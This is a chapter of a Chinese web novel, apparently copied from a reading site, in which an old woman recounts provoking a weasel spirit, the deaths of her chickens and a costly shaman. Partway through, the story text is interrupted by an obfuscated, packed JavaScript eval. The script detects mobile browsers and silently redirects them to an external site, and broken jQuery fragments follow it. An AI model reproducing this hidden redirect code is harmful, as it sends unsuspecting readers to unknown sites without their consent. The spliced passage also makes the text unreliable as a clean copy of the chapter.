默认冷灰
24号文字
方正启体

7. 无证上岗第7天

作者:绘梨本书字数:K更新时间:
    死一般的静默。


    众人:“……”


    众人:“…………”


    他们皆满脸黑线。


    你真是让我大开眼界了。


    黄皮子讨封也就罢了,你个人皮子讨什么封!


    岑父恨铁不成钢,替黄皮子答了:“我看你像个二傻子!”


    旁人躲都躲不及的东西,你上赶着去惹!


    不怪家里事如此邪乎。


    他要是黄大仙,他也闹。


    岑老太太想要辩驳,偏又没脸,拉着脸皮被迫当哑巴。


    岑父愤愤不平,指天说地。


    景音跳出来打圆场:“我们先说正事!话说岑奶奶,你到底是怎么被忽悠着走到出马这步的?”


    对方明显和被警察带走的两位有些交情,估摸着有中间人。


    这便是典型的乡里文化了,一个村子都沾亲带故的,各家有什么事,打听下都知道,而且岑老太太瞧着也不像个嘴严的。


    景音:“你那天回去遇见了什么事吗?”


    “这倒没有。”


    那晚月特别亮,天虽是黑的,看东西却与白昼分毫不差,所以印象尤深。


    “那黄皮——黄仙姑瞧我一眼,分明翻个白眼,又转过去,立起身子,双手合十,虔诚拜月,等我再定睛细瞧,就不见其影踪了。”


    她边说边比划,还感叹:“真就跟鬼遮眼似的,我到家后回想,还以为是自己出了幻觉。”


    景音替她解惑:“胡黄修行方式相近,是拜月吸阴气的路子,所以每逢圆月,常会现身修炼。”


    不过前者炼丹,后者化气罢了。


    景音吐槽:“你还算好运的,没看见头盖骨。”


    胡黄两家吸收阴气,除了拜月,还有个方式,便是头戴骷髅,或者躲在乱葬岗里的土包子里潜修。


    《酉阳杂俎》就曾道:旧说狐……将为怪,必戴骷髅拜北斗,骷髅不坠,则化人矣。


    岑老太太想到近日遭遇,悲然吐槽:“我哪里好运了,它根本没放过我!”


    那晚回去,她也担心自己会不会因为嘴快而惹麻烦,第二天就和家里的阿姨说了声,阿姨让她放宽心,实在不行,她介绍自己的亲戚给她瞧瞧。


    不过后来一连几日,家里都风平浪静,老太太也就将此事抛之脑后。


    直到时间转至迁坟那日。


    迁坟要挑太阳未升或已落的天黑时分,避免阳气冲撞亡人。


    风水先生给他们挑的是丑时三刻。


    一切顺利进行,按长幼有序、尊卑有别的顺序开挖,先动长辈,再动小辈,岑老太太的老伴是最后起棺的。


    就在此时生变了。


    岑老太太刚哭两声,瞧见棺材侧面数个拳头大小的洞,正纳闷,见一圆溜溜的白色东西就自眼前滚了下来。


    一路滚到自己脚前。


    定睛一看,分明是自己老伴的头盖骨!


    岑老太太当场就给踢走了,在空中高高抛出一条圆润的抛物线,滚进丛林里,反应过来又忙去捡。


    老一辈的人多少听过黄皮子复仇的邪门事,还有对方古怪的修行路数,老太太冷汗瞬间下来。


    心想,果真没逃过!


    风水先生倒是没怎么惊奇,检查一番,见没裂痕,就放红布上了。


    土葬的都这样,棺材埋时间长了,容易烂。


    不过捡身子上的骨头时,说了句,骨头上有些齿痕,该是被东西给扑过。


    岑父此时一听,也想起来了。


    他当时还问风水先生有没有事呢,对方说岑家运道一直不错,不用担心,若有事,早有体现了。


    岑父几欲吐血。


    当时他母亲但凡说了,怎么可能有后面这么多事!


    ……


    岑老太太一连忐忑数日,生怕对方来复仇。


    可在第三日给去新墓上坟时,倏然变了心态。


    孩子们都有事,迁完坟就离开,待三日上坟,只岑老太太和家里阿姨两人,左右就在村子旁,她拿烧纸和吃食去,阿姨年轻,眼也尖,一下瞧见坟边一米处似乎有个洞。


    岑老太太心里一个咯噔,马上要联系风水先生,却被阿姨劝住,说风水先生上次就什么也没说,不如请她家里表哥来,刚出马的,灵得很。


    大多数行业都讲究个越老越吃香,出马却不同,很多都是刚出的最灵。


    这行做久了,难免心生贪念、欲念,久而久之,身后仙师便弃其而去了。


    岑老太太心想也是,忙请人来。


    景音:“就是刚被带走的那位大神?”


    “他可是个好人!”岑老太太尚信任着对方,忙辩解。


    岑父嘴巴张了张,景音悄悄伸手,拧了下他的后腰,喷薄欲出的脏话咽了回去。


    岑老太太接着讲。


    大神接到电话就匆匆赶来,在晚上重新起土,发现新棺木左侧多了个洞。


    哪个人见到自己相濡以沫好几十年的枕边人死后还被如此折腾,能心平气和的?


    岑老太太都要气疯了,猜测黄皮子就在周围,气壮怂人胆,怒骂:“你个骚毛东西,修行那么多年都修行到狗肚子里去啦!?我看你这辈子是修不成了,再修八百年也是个骚毛!”


    小时候听的故事里,都说精怪但凡成了气候,都分外要脸,小的不听管,还会有大的出手。


    大神伸手狂堵她嘴,都没堵住。


    大神当场崩溃,声嘶力竭道:“闭嘴!!”


    景音轻轻扬起眉梢,下意识搓了搓手指。


    这个表现……有些怪啊。


    岑老太太本来还嘴硬,任凭大神如何劝都连骂不停,很快,她就后悔了。


    因为她家出的事,越来越恐怖了。


    岑老太太:“我平日没什么爱好,就喜欢吃点溜达蛋,所以后院养了不少鸡。”


    岑父怕景音和施初见听不懂,忙解释:“就是散养鸡下的蛋,我妈非说这样的蛋,黄大而香,和市面上买的不一样。”


    反正家里后院有空地,请泥瓦匠盖个简易的遮雨砖瓦房就行。


    “真的不一样。”岑老太太害怕地辩驳。


    就是如今一个也吃不到了。


    众人:“…………”


    岑老太太:“我本想着给小辈们攒攒,等他们下次来的时候带回去,所以养的规模比较大,有个二十来只,结果我骂完回去的当晚,就被咬死两只。”


    此后一天比一天死得多。


    岑老太太忙请大神来,烧了两卡车黄纸元宝,好一顿道歉,可是对方完全不肯收敛,甚至气焰愈发嚣张,由咬两个改成咬七个。


    不到三日,她养的溜达鸡便惨遭灭门,她不死心再养,又死。


    岑老太太和大神终被激起了脾气,尤其是大神,刚出马,周遭人人吹捧小神仙,正志得意满的时候,当即决定,文谈既不成,便武谈。


    二人合力,巧施困猪局。


    具体怎么操作的,众人听得云里雾里,只知道最终结果是真的在家附近逮住了只黄皮子。


    约莫四十厘米,生得油光水滑。


    岑老太太和大神对着对方好一顿输出,最后还将对方挂了起来,让过往的各路人马好生嘲笑一番。


    当时大神身上的仙家,便说对面是服了,发誓再不来咬鸡。


    岑老太太依旧未肯放过,准备再吊两日。


    没想到,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262156|182103||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    第二天她在鸡圈里捡到了两颗金豆子。


    “纯金?”景音震惊。


    这么有钱?


    岑老太太:“不是,那色发青,估摸着也就七成。”


    “豆子呢!”岑父抓住关键。


    现在金价可不便宜。


    岑老太太:“被那大神拿走了,说晦气,容易影响家里。”


    他都愿意把晦气带回家,她怎么能不信对方是个好人呢,本来她就对阿姨介绍的人有天然好感。


    岑父气地直跺脚:“你到底是我妈还是他妈啊!”


    “你这话说的,我不是你妈是谁妈啊!你吃谁奶长大的,你不知道么?”


    景音:“……”


    施初见:“……”


    二人犹豫要不要先劝个架,把一人支出去,好在老太太顾及着景音在,很快把话题转了回来。


    大神当时脸色说不出的怪异,捏着豆子僵硬了好半晌,才说:“这约莫是对方长辈凑来的赎身钱,冤家宜解不宜结,我们不如就此作罢。”


    岑老太太:“便全听您说。”


    她欣喜不已,以为糟心事告一段落,没想到后续发展却愈发离奇起来,先是白日迷眼,总觉得有东西在眼前飘,再是打牌日日输,最后梦里竟有故去父母出现,说要带她走。


    岑老太太不得已,再度求救大神。


    大神来了后,也不说话,猛抽烟,直到整盒烟将要见底,才告诉她,这事善了不得,得给她立堂子,请对方上堂修行,享用香火,方可了结。


    大神叹:“别人要我出手,最少要八万八,都是亲戚,你给我三万八得了。”


    他絮絮叨叨:“你不知道,立堂子有多麻烦,起码要苦战个两天,顶天梁、托天梁、顺天梁……都要一一核对。”


    岑老太太提起这个,感激得不成样子:“刘师傅可是个好人啊!”


    众人:“……”


    景音:“…………”


    岑父终忍不住了,他妈就差把冤大头三字印在脑袋上了,他刚要上前,却被景音一脚踩住。


    意思清楚明白:现在这个节骨眼,你配生气么,配么!


    好歹等他们解决完的啊,你们现在打起来了,他们还得免费劝架。


    岑父:“……”


    他吐血,对,他不配。


    景音拉其后退,自己上前,岑老太太对他很有好感,长得斯斯文文的,她猜到景音想问什么,讪讪:“我不是怕孩子们担心我,这才没说的么。”


    岑父绷不住:“那我现在来是为什么啊!”


    岑老太太:“。”


    景音:“……”


    怕两人再吵起来,景音自动上前,充当隔离板,死死抓住岑父的手,扭头对岑老太太道:“我不是问这个,事已至此,说什么都没用了,我是想问,你们……预算有多少。”


    岑父都怕死了,哪还顾得上钱,命能保住就不错了:“上不封顶!”


    说完一顿,打个补丁道:“不过我手里现金也不是特别多,除了留在公司做周转的,也就能调出个百八十万。”


    景音心酸地想,有钱人的生活,好朴实无华啊,不像他,昨晚用的洗发水都蹭的施初见的。


    岑父想歪了:“来得及的话,我卖房凑凑。”


    “不用,两三万就行。”景音怕自己再受刺激,制止了对方的炫富行为。


    景音笔走龙蛇,写下一连串东西,交给岑父,让他在晚上前买齐了。


    岑父一看,上写的都是上坟用的东西:十袋元宝、十袋黄纸、两捆黄线香、一盒带竹签的檀香……还有写在一旁的熟食:烧鸡、鲫鱼、猪头、鸡蛋、方肉,额外要二十五个馒头,五种时令水果。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)